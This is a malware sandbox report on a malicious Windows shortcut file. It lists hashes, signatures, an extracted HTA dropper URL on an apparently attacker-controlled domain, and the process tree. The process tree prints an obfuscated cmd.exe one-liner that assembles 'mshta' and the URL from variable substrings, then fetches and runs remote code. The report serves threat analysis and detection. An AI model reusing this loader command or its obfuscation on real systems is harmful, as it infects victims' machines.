Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:31
Static task
static1
Behavioral task
behavioral1
Sample
DOC-BL42OH.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-BL42OH.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-BL42OH.lnk
- Size 2KB
- Sample260803-qswt1a1vbx
- SHA256 9d408dd67833872848edbdc75d9711629899e4260cde7c1abb40cd98e1d12fb4
- MD5 a937e1d79234388d6c7f851386f6892f
- SHA1 8b9b50c03a4701a8dd8514f9fa4c395519aab047
- SHA512 4f37f34e81afb4a42869308f6e65a582211ace941bf1614b249705e4c0a079aae46a9aca21322800b686e00c7a256ad7c7975b5fe2a64258c27dc6bdfe76832e
- TLSH T15A4125803BEE0198F2FF8E32EDBE6B5045BBB9626D60C59D0950810D1832B01D9B6B77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5596 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5596 wrote to memory of 4604 5596 cmd.exe 90 PID 4604 wrote to memory of 5996 4604 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BL42OH.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5596 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set nf=winechdlrxolpytowin&set SV=sysfrgdazqvzasys&set Qr=netetnyunmmecnet&set zBf=fymy8&&set jE=sypsh4&&set BcU=fbqtaqx&set qg=dateumjlblxvdcbdvgsahhtrmdat&set tZ=ssv&&set xtYYo=9tajzm&&set nOYz=9rtk1&set pMMv=netpxuzjldxsetnet&set RqNDR=logcootrycuxfcjisxdlog&set Yn=datyoovzurhvraifredbodat&set nGiX=dbgjebfkzezguypldtmsmdbg&set FwgbW=tmpipbdkczimfpymttmp&&set cArK=htt@p@s:@/@/@bro-@pdffi@[email protected]@at/@h@/@e@st@[email protected]@hp@?r@=360@7@61F15794&&start /b !zBf:~2,1!!jE:~3,2!!BcU:~3,2! !cArK:@=!&&set Gme=done"2⤵
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:5996
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